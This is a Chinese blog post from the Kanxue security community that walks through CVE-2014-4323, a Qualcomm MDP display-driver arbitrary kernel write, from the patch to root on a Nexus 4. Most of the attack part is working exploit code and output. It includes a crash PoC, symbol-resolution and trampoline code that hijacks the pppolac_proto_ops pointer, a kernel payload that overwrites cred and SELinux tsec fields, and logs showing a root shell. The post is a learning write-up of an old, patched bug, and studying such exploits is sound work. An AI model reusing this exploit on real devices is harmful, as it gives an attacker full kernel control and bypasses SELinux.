查看原文
其他

从补丁到Root——CVE-2014-4323分析

endlif 看雪学院 2019-05-25

0x00 背景


漏洞类型:CWE-264    Permissions, Privileges, and Access Control,一个权限提升漏洞。我们从补丁开始反推其利用。

 

这个漏洞  影响基于以下芯片组的所有基于Qualcomm的设备:


  • APQ 8064(Snapdragon S4 Pro)


  • MSM 8960(Snapdragon S4)


  • MSM 8660(Snapdragon S3)


  • MSM 8x30


  • MSM 7x30


因此,基于这些SoC的所有设备(例如Nexus 4,Nexus 7等),以及2014年12月之前的内核,应该是易受攻击。

shell@mako:/ $ cat /proc/version

Linux version 3.4.0-perf-g60eefcd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014


刚好手上有个nexus 4的测试机,cat /proc/version查看内核版本,14年10月份,存在漏洞。



0x01 漏洞描述


Linux内核3.x的MDP显示驱动程序中的drivers / video / msm / mdp.c中的mdp_lut_hw_update函数,用于Qualcomm Innovation Center(QuIC)Android对MSM设备和其他产品的贡献,不会验证某些启动和ioctl调用中的长度值,允许攻击者通过精心设计的应用程序获得权限提升。

 

补丁代码:确保来自用户态输入的cmap是合理的。


0x02 漏洞分析


我们来看补丁检验的这个结构体 struct fb_cmap *cmap:


 

start是一个32的值但从注释来看是被做为指针的。


len是表示每个entry的个数。


r g b三色的值。

static int mdp_lut_hw_update(struct fb_cmap *cmap)

{

   int i;

   u16 *c[3];

   u16 r, g, b;

   c[0] = cmap->green;

   c[1] = cmap->blue;

   c[2] = cmap->red;



   for (i = 0; i < cmap->len; i++) {

       if (copy_from_user(&r, cmap->red++, sizeof(r)) ||

           copy_from_user(&g, cmap->green++, sizeof(g)) ||

           copy_from_user(&b, cmap->blue++, sizeof(b)))

           return -EFAULT;

#ifdef CONFIG_FB_MSM_MDP40

       MDP_OUTP(MDP_BASE + 0x94800 +

#else

       MDP_OUTP(MDP_BASE + 0x93800 +

#endif

           (0x400*mdp_lut_i) + cmap->start*4 + i*4,

               ((g & 0xff) |

                ((b & 0xff) << 8) |

                ((r & 0xff) << 16)));

   }

   return 0;

}


含有漏洞的代码,在for循环遍历entry这里for (i = 0; i < cmap->len; i++) 没检验cmap->len的长度的情况下,若cmap->len的值为1,执行后面的MDP_OUTP函数。会产生漏洞,此时i=0,而其他 gbr 三色的值我们可控。

MDP_OUTP(MDP_BASE + 0x93800 +

           (0x400*mdp_lut_i) + cmap->start*4 + 0*4,

               ((g & 0xff) |

                ((b & 0xff) << 8) |

                ((r & 0xff) << 16)));


MDP_OUTP函数的定义为:

#define MDP_OUTP(addr, val)        writel(val, addr);


往内存映射的 I/O 空间上写数据,将    ((g & 0xff) |((b & 0xff) << 8) |((r & 0xff) << 16)))组成的数据写入到这个地址上:

(MDP_BASE + 0x93800 +(0x400 * mdp_lut_i) + cmap->start*4 + 0 * 4




我们就拥有了一个可以在内核上可以在32位地址上任意写入6 X 4=24位值的漏洞!

 

要利用这个洞,前提我们得先知道MDP_BASE,mdp_lut_i这里两个变量的值。


MDP_BASE:是一个定义为常量内存映射地址的宏(每个SoC一个)

 

mdp_lut_i:是一个标志,在每次调用MDSSFB_SET_LUT时交替设置为0或1。这意味着0x400*mdp_lut_i的值为0或0x400。


我们通过尝试一次触发使用cmap-> start值覆盖漏洞,看其覆盖的位置推出mdp_lut_i的值。

 

尝试往默认地址写入0x00ff0000:

shell@mako:/data/local/tmp $ ./poc

[+] Opened mdp driver  success

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] transp 0 red ff blue 0 green 0

[i] transp 0 red ff blue 0 green 0

[+] Wrote 0x00ff0000


手机换成了红色:


0x03 漏洞利用(未开启PXN)


先确认我们的nexus 4机子是32位还是63位?



armv7确认是32位,若是64位会有Aarch64等64标号(也可以读取Android 的system/build.prop文件("ro.product.cpu.abilist64"))。

 

根据含有漏洞的mdp_lut_hw_update函数调用链往上回溯:(之后我们会在内核崩溃日志的trace也看到这个调用链)


mdp_lut_hw_update-->mdp_lut_update_lcdc  -->mdss_fb_set_lut-->mdss_fb_ioctl

 

mdss_fb_ioctl对应的就是这个设备的fb_ioctl操作。我们可以通过调用 ioctl(mdp_fd, MSMFB_SET_LUT, &cmap);函数来触发漏洞。

static struct fb_ops mdss_fb_ops = {

   .owner = THIS_MODULE,

   .fb_open = mdss_fb_open,

   .fb_release = mdss_fb_release,

   .fb_check_var = mdss_fb_check_var,    /* vinfo check */

   .fb_set_par = mdss_fb_set_par,    /* set the video mode */

   .fb_blank = mdss_fb_blank,    /* blank display */

   .fb_pan_display = mdss_fb_pan_display,    /* pan display */

   .fb_ioctl = mdss_fb_ioctl,    /* perform fb specific ioctl */

   .fb_mmap = mdss_fb_mmap,

};


1.先尝试写出poc:




内核空间划分0~3G为用户空间,3~4G为内核空间。


需求:


我们知道一般给的poc是导致内核崩溃,我们也制造一个内核panic的poc,那么如何制造内核崩溃呢?这篇文章给了三种方式。


  • 1.Unable to handle kernel paging request at virtual address 00000000


越出内核地址空间范围,原因是由于使用空NULL指针。


  • 2.Unable to handle kernel paging request at virtual address 20100110


越出内核地址空间范围,原因是的内存越界导致该指针。


  • 3、Unable to handle kernel paging request at virtual address c074838c

没有越出内核地址 访问受限制内存导致oops。

//step3:write  0x00ff0000

uint32_t content=0x00ff0000;

uint16_t transp = 0x0;

uint16_t red = (content & 0x00ff0000) >> 16;

uint16_t blue = (content & 0x0000ff00) >> 8;

uint16_t green = (content & 0x000000ff) >> 0;



printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);



struct fb_cmap cmap;



cmap.start = 0x00ff0000;

cmap.len = 1;

cmap.transp = &transp;

cmap.red = &red;

cmap.blue = &blue;

cmap.green = &green;



printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);



//uint32_t overflown_result = mdp_base + MDP_KERNEL_PARAM_OFFSET + 0x400*mdp_lut_i + cmap_start_target*4;



if (ioctl(mdp_fd, MSMFB_SET_LUT, &cmap)) {

   printf("Error reading fixed information.\n");

   exit(2);

}



printf("[+] Wrote 0x%08x to 0x%08x\n", content,  cmap.start);


我们将0x00ff0000(红色的值),写入默认地址偏移为0x00ff0000的位置。手机panic重启了。

$cat /proc/last_kmsg

[12281.126139] Unable to handle kernel paging request at virtual address f0590800

[12281.126383] pgd = ec208000

[12281.127268] [f0590800] *pgd=901ff811, *pte=00000000, *ppte=00000000

[12281.128794] Internal error: Oops: 807 [#1] PREEMPT SMP ARM

[12281.129282] CPU: 0    Tainted: G        W     (3.4.0-perf-g60eefcd #1)

[12281.129587] PC is at mdp_lut_hw_update+0x11c/0x144

[12281.129984] LR is at mdp_lut_hw_update+0xbc/0x144

[12281.130228] pc : <c029297c>    lr : <c029291c>    psr: 60000013

[12281.130259] sp : ec155b40  ip : 00000000  fp : be87ba7c

[12281.130961] r10: 00000000  r9 : ec154000  r8 : 00000000

[12281.131236] r7 : cf920260  r6 : 00000001  r5 : ec154000  r4 : ec155b9c

[12281.131724] r3 : f0100000  r2 : 00124200  r1 : 00ff0000  r0 : 00000000

[12281.132182] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user

[12281.132456] Control: 10c5787d  Table: acc0806a  DAC: 00000015

[12281.132914]

[12281.132914] PC: 0xc02928fc:

[12281.151379] LR: 0xc029289c:

[12281.169752] SP: 0xec155ac0:

[12281.188339] R3: 0xf00fff80:

[12281.188950] ff80  ******** ******** ******** ******** ******** ******** ******** ********

[12281.191086] ffa0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.193406] ffc0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.195725] ffe0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.197831] 0000  04040306 00000000 00000000 00000000 00000000 00000000 00000000 00000000

[12281.200151] 0020  ffffffff 00000fff 00010000 00000000 00000004 00000044 00000049 00000001

[12281.202440] 0040  003fffff 00000000 00000040 00003333 00000000 00000091 00000000 00000000

[12281.204729] 0060  00000000 00000000 00000000 00000000 00000003 00000000 00000000 06543210

[12281.206835]

[12281.206835] R4: 0xec155b1c:

[12281.225635] R5: 0xec153f80:

[12281.244100] R7: 0xcf9201e0:

[12281.262321] R9: 0xec153f80:

[12281.280785] Process poc (pid: 7634, stack limit = 0xec1542f0)

[12281.281213] Stack: (0xec155b40 to 0xec156000)

[12281.281457] 5b40: 00ff5b9c 00000000 ec155b9c

......

[12281.295344] 5fe0: be87ba48 be87b9f8 b6fabba9 b6fa64bc 60070010 00000003 00000000 00000000

[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)

[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)

[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)

[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)

[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)

[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)

[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)

[12281.300624] ---[ end trace e5118df9f972f390 ]---

[12281.300898] Kernel panic - not syncing: Fatal exception

[12283.039034] wcnss_8960: crash shutdown : 0


cat /proc/last_kmsg 查看上次最后的kernel log,寻找崩溃的原因:地址0xf0590800>0xc0000000属于往访问受限制内存导致的oops

 

通过end trace我们也能看出mdp_lut_hw_update在内核里的调用链。

[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)
[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)
[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)
[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)
[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)
[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)
[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)


2.三种提权的方式:


三种提权思路:


2.1 patch sys_setresuid然后调用setresuid提权


2.2 执行commit_creds(prepare_kernel_cred(0))提权


2.3 修改当前进程的task_struct->cred结构体进行提权


2.1 setresuid提权


setresuid(0,0,0)可以用来设置进程的EUID,实现为当前进程提权的目的。但是普通用户直接调用并不能实现提取,原因如下:

 

上图中对应了内核文件中setresuid的部分代码信息,通过分析可以发现,函数在真正进行setresuid之前会对调用者拥有的权限进行检查,如上图红框中的内容,满足调用权限时,R0的值为#0,对于普通用户的调用,R0是一个非零值,所以如果我们把比较的对象#0改成一个非零值,那么setresuid的可以成功调用进行置位。

 

CMP R0,#0  指令为0xe3500000


CMP R1,#1  指令为0xe3500001


arm的opcaode

 

所以我我们提权的步骤如下:


1.搜索内核,查找sys_setresuid符号地址;


2.搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”;


3.用户态调用setresuid()提权。


先读取/proc/kallsyms里的sys_setresuid的位置,利用任意写将其修改成0x3e500001,执行然后setresuid(0, 0, 0)即可完成提权。

 

而由于我们只能控制后24位,无法写入0x3e500001到sys_setresuid的地址。此思路暂时不通。


2.2 commit_creds提权


 

提权思路:覆盖内核里一个结构体方法的指针,将其地址指向用户态的代码commit_creds(prepare_kernel_cred(0)),最后再调用该结构体的方法完成提权。前提是我们知道commit_creds和 prepare_kernel_cred等函数地址。我们通过先patch掉kptr_restrict为我们构造能泄露内核函数地址的环境。

 

从内核2.6.37开始,普通shell用户没有办法从/proc/kallsyms中读到内核符号表地址。先patch掉kptr_restrict。


我这里是直接在root下patch kptr_restrict


shell@mako:/ #echo 0 > /proc/sys/kernel/kptr_restrict

 

用此种方式无需硬编码,来适配不同的安卓/linux设备。

prepare_kernel_cred_t prepare_kernel_cred;

commit_creds_t commit_creds;

int PPPOLAC_PROTO_OPS_RELEASE;

//读取内核符号表找到特定方法的地址

void * get_ksymbol(char *name)

{

       FILE *f = fopen("/proc/kallsyms", "r");

       char c, sym[512];

       void *addr;

       int ret;



       while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {

               if (!strcmp(sym, name))

                       return addr;

       }



       return NULL;

}

void resolve_kernel_symbols(void)

{

       prepare_kernel_cred     = get_ksymbol("prepare_kernel_cred");

       commit_creds            = get_ksymbol("commit_creds");

       PPPOLAC_PROTO_OPS_RELEASE =get_ksymbol("pppolac_proto_ops");//

       if (!prepare_kernel_cred || !commit_creds)

               errx(1, "couldn't map all kernel symbols");

       printf("prepare_kernel_cred=%p,commit_creds= %p\n",prepare_kernel_cred,commit_creds);

}

//用于提权的payload

void kernel_payload() {

     commit_creds(prepare_kernel_cred(0));

}


 

我们这里是先找到“pppolac_proto_ops”结构中找到包含函数指针的位置。这是内核中用于注册与PPP_OLAC协议的套接字交互时使用的函数指针的结构。这种结构是合适的,因为:


1.PPP_OLAC协议没有被广泛使用,因此不需要立即恢复被覆盖的函数指针。


2.除了创建套接字的能力之外,打开PPP_OLAC套接字不需要特殊权限
结构本身是静态的(因此存储在BSS中),并且没有标记为“const”,因此是可写的。

//step4: Allocating the trampoline and Write shellcode to addr

trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000

if (trampoline == NULL) {

   perror("[-] Failed to allocate trampoline");

   return -errno;

}

printf("[+] Allocated trampoline\n");

printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload);



//Writing to the trampoline

trampoline[0] = 0xE51FF004; //LDR PC, [addr]

//addr:

trampoline[1] = (uint32_t)&kernel_payload;



//Flushing the cache (to make sure the I-cache doesn't contain leftovers)

cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);



// mdp_lut_i will switch between 0 and 1 at each call

mdp_lut_i = !mdp_lut_i;



write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);


因为我们只可控后24位,我们在0x00100000这个用户空间地址构造跳到payload的跳板trampoline,并将跳板trampoline的地址写到pppolac_proto_ops结构体的地址PPPOLAC_PROTO_OPS_RELEASE上。当我们执行socket. close()函数时jump到跳板里执行我们提权的payload。

shell@mako:/ $ /data/local/tmp/pwn

prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4

[+] Opened mdp driver

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] Trying to leak the current value of mdp_lut_i

[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000

[i] Trying to write 0x00dabeef at 0x10000000

[i] Target cmap_start: 0x07f9ae00

[i] Expected VM target address: 0x10000000

[i] transp 0 red da blue be green ef

[+] Wrote 0x00dabeef to 0x10000000

[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)

[i] delta write 00000400

[+] Got mdp_lut_i: 0x1

[+] Allocated trampoline

[i] Attempting to execute kernel_payload at 0xb6f23df5

[i] Trying to write 0x00100000 at 0xc0eaf3a4

[i] Target cmap_start: 0x34346ae9

[i] Expected VM target address: 0xc0eaf3a4

[i] transp 0 red 10 blue 0 green 0

[+] Wrote 0x00100000 to 0xc0eaf3a4

[+] Opened PPPOLAC socket: 7

[+] Executed function

[+] got r00t!

shell@mako:/ # id

uid=0(root) gid=0(root) context=u:r:kernel:s0


2.3 修改task_struct结构体进行提权(pThreadInfo->addr_limit=0xffffffff)


这个利用代码借鉴的ggggwwww大佬的这篇文章让子弹继续飞-如何利用一个漏洞代码root更多手机 总体利用流程如下:


  1. 建立netlink服务监听。

  2. 通过inet_diag的netlink通信,从内核返回的cookie中获得sk结构体的地址。

  3. 利用任意地址写的能力,修改sk中destruct的函数指针。使其指向我们的shellcode地址。

  4. 关闭第一步建立的socket,触发shellcode的调用,获得root权限。

其中有两点值得学习:


   32位系统上sock信息泄露漏洞和修改task_struct的方式。


一:inet_diag信息泄漏问题

在inet_diag调用会返回cookie,该cookie数组包括了sk的低32位地址及高32地址。对于32位的系统来说,cookie[0]泄漏了sock结构的地址。

而每个socket数据结构都有一个sock数据结构成员,sock是对socket的扩充,两者一一对应。


struct sock {

__u32 daddr; // dip,Foreign IPv4 addr

__u32 rcv_saddr; // 记录套接字所绑定的地址

__u16 dport; // dport

unsigned short num; /* 套接字所在的端口号



struct proto *prot; // 例如指向tcp_prot

void (*state_change)(struct sock *sk);

void (*data_ready)(struct sock *sk,int bytes);

void (*write_space)(struct sock *sk);

void (*error_report)(struct sock *sk);

int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb);

void (*destruct)(struct sock *sk);

};


当socket被关闭时destruct指针指向的函数将被执行。我们通过sock地址和destruct的偏移找到destruct函数指针的地址。

int sock_offset=get_destruct_offset(versionCode);

if(sock_offset>=0)

   {

 target += sock_offset;

 printf("[*] sock_destruct address: %lx\n", target);

}


二:修改task_struct的方式可以总结如下


  1. 通过shellcode的临时变量,泄漏sp地址。

  2. 通过sp地址和thread_info共用4K/8K空间的特点定位到thread_info地址。

  3. 判断thread_info的addr_limit的地址范围,确定task_struct的位置。

  4. 判断task_struct中的comm是否为进程名。

  5. 判断cred和real_cred是否在内核地址范围而且相关参数相等,定位到cred和read_cred的偏移。

  6. 修改cred和read_cred相关参数的值。

  7. 判断是否是selinux,如果是定位到tsec结构体的地址。

  8. 修改tsec结构体的参数的值。Bypass seliux。

int kernel_payload()

{

   int                v38; /* [sp+0h] [bp-60h]@1 */

   int                addrBase;

   char                szName[16] = "exploit";

   int                offset;

   struct task_security_struct    * tsec;

   struct thread_info        *pThreadInfo;

   int                ret = -1;

   int                searchLenth;

   int                isSelinux = 1;

   mycred                *my_cred;

   mycred                *my_real_cred;

   addrBase = *(int *) ( ( (int) (&v38) & 0xFFFFE000) + 0xC);

   unsigned long mySP = ( (unsigned long) (&v38) & 0xFFFFE000);    /* 1.  v38此种异或0xFFFFE000的方式,为什么能泄漏sp地址??? */

   pThreadInfo = (struct thread_info *) mySP;                      /* 2.  mySP的地址为什么等于thread_info地址?? */

   if ( pThreadInfo->addr_limit != 0xbf000000 )                    /* addr_limit默认值为0xbf000000 */

       return(19);

   pThreadInfo->addr_limit = 0xffffffff;                           /* 修改pThreadInfo->addr_limit的值 */

   if ( addrBase > 0xBFFFFFFF )

   {

       offset = 0;

       while ( 1 )

       {

           addrBase += 4;

           if ( !kmemcmp( addrBase, szName, 16 ) )

               break;

           ++offset;

           if ( offset == 0x600 )

           {

               return(18);

           }

       }

   }else  {

       return(17);

   }

   my_cred        = *(int *) (addrBase - 8);

   my_real_cred    = *(int *) (addrBase - 8 - 4);

   searchLenth    = 0;

   while ( searchLenth < 0x20 )

   {

       if ( !my_cred || !my_real_cred

            || my_cred < 0xBFFFFFFF || my_real_cred < 0xBFFFFFFF

            )

       {

           /* 2.6? */



           addrBase -= 4;





           my_cred        = *(int *) (addrBase - 8);

           my_real_cred    = *(int *) (addrBase - 8 - 4);

       }else

           break;



       searchLenth++;

   }



   if ( searchLenth == 0x20 )

   {

       return(20);

   }

   /*

    * fuck!! where is my cred???

    * 6.修改cred和read_cred相关参数的值。

    */


   my_cred->uid            = 0;

   my_cred->gid            = 0;

   my_cred->suid            = 0;

   my_cred->sgid            = 0;

   my_cred->egid            = 0;

   my_cred->euid            = 0;

   my_cred->fsgid            = 0;

   my_cred->fsuid            = 0;

   my_cred->securebits        = 0;

   my_cred->cap_bset.cap[0]    = -1;

   my_cred->cap_bset.cap[1]    = -1;

   my_cred->cap_inheritable.cap[0] = -1;

   my_cred->cap_inheritable.cap[1] = -1;

   my_cred->cap_permitted.cap[0]    = -1;

   my_cred->cap_permitted.cap[1]    = -1;

   my_cred->cap_effective.cap[0]    = -1;

   my_cred->cap_effective.cap[1]    = -1;



   my_real_cred->uid            = 0;

   my_real_cred->gid            = 0;

   my_real_cred->suid            = 0;

   my_real_cred->sgid            = 0;

   my_real_cred->egid            = 0;

   my_real_cred->euid            = 0;

   my_real_cred->fsgid            = 0;

   my_real_cred->fsuid            = 0;

   my_real_cred->securebits        = 0;

   my_real_cred->cap_bset.cap[0]        = -1;

   my_real_cred->cap_bset.cap[1]        = -1;

   my_real_cred->cap_inheritable.cap[0]    = -1;

   my_real_cred->cap_inheritable.cap[1]    = -1;

   my_real_cred->cap_permitted.cap[0]    = -1;

   my_real_cred->cap_permitted.cap[1]    = -1;

   my_real_cred->cap_effective.cap[0]    = -1;

   my_real_cred->cap_effective.cap[1]    = -1;



   /* 7.  判断是否是selinux,如果是定位到tsec结构体的地址。 */

   if ( isSelinux )

   {

       /* 8.修改tsec结构体的参数的值。Bypass seliux。 */

       tsec = my_cred->security;

       if ( tsec && tsec > 0xBFFFFFFF )

       {

           tsec->sid    = 1;

           tsec->exec_sid    = 1;

           ret        = 151;

       }else  {

           tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_cred->security) );

           if ( tsec && tsec > 0xBFFFFFFF )

           {

               tsec->sid    = 1;

               tsec->exec_sid    = 1;

               ret        = 152;

           }

       }



       tsec = my_real_cred->security;

       if ( tsec && tsec > 0xBFFFFFFF )

       {

           tsec->sid    = 1;

           tsec->exec_sid    = 1;

           ret        = 153;

       }else {

           tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_real_cred->security) );

           if ( tsec && tsec > 0xBFFFFFFF )

           {

               tsec->sid    = 1;

               tsec->exec_sid    = 1;

               ret        = 154;

           }

       }

   }else  {

       ret = 16;

   }

   /* commit_creds(prepare_kernel_cred(0)); */

   return(ret);

}


跑exploit的结果如下:这里我们发现已经修改过task_struct结构的进程的id,为何groups依然为1003(graphics)?

1|shell@mako:/ $ /data/local/tmp/exploit

prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4

[*] Opening TCP socket...

[*] Getting socket address from INET_DIAG...

[*] versionCode=34,szRelease=3.4.0-perf-g60eefcd,szVersion=#1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014

[*] sock_destruct address: ebdc8198

[+] Opened mdp driver

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] Trying to leak the current value of mdp_lut_i

[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000

[i] Trying to write 0x00dabeef at 0x10000000

[i] Target cmap_start: 0x07f9ae00

[i] Expected VM target address: 0x10000000

[i] transp 0 red da blue be green ef

[+] Wrote 0x00dabeef to 0x10000000

[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)

[i] delta write 00000400

[+] Got mdp_lut_i: 0x1

[+] Allocated trampoline

[i] Trying to write 0x00100000 at 0xebdc8198

[i] Target cmap_start: 0x3ef0ce66

[i] Expected VM target address: 0xebdc8198

[i] transp 0 red 10 blue 0 green 0

[+] Wrote 0x00100000 to 0xebdc8198

[+] Execute Shellcode[README](media/15446227228942/README.md)

uid = 0

gid = 0

ROOT SUCCESS

shell@mako:/ # id

uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0


正常情况下sh和有root权限的init进程的cred结构值如下:

利用代码



0x04 总结


到此,本菜鸡终于完成了一次漏洞补丁分析到利用提权的过程。

1.了解了内核崩溃的三种类型,和查看崩溃日志的方法

2.学习了patch掉kptr_restrict的读取内核符号里的函数的方法。(当然还有利用读写漏洞搜索内核,查找“%pK %c %s\n”,并Patch成“%p %c %s\n”等方案绕过kptr_restrict)  

3.三种常见的提权的方案,并在未开启PXN的条件完成了两种利用。



0x05 参考


  • https://android.googlesource.com/kernel/msm/+/65e9273c22264162c85351c5c29c94ff7ee2285e/drivers/video/msm/mdp.c

 

  • 让子弹继续飞-如何利用一个漏洞代码root更多手机


https://bbs.pediy.com/thread-211017.htm

 

  • Android系统漏洞提权


http://www.droidsec.cn/android%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E%E6%8F%90%E6%9D%83/

 

  • Android内核sys_setresuid() Patch提权CVE-2012-6422


https://www.cnblogs.com/gm-201705/p/9863995.html

 

  • Android内核漏洞利用技术实战:环境搭建&栈溢出实战


https://www.anquanke.com/post/id/86617





- End -


看雪ID:endlif                              

https://bbs.pediy.com/user-755008.htm


本文由 endlif 原创

转载请注明来自看雪社区





热门技术文章推荐:







公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存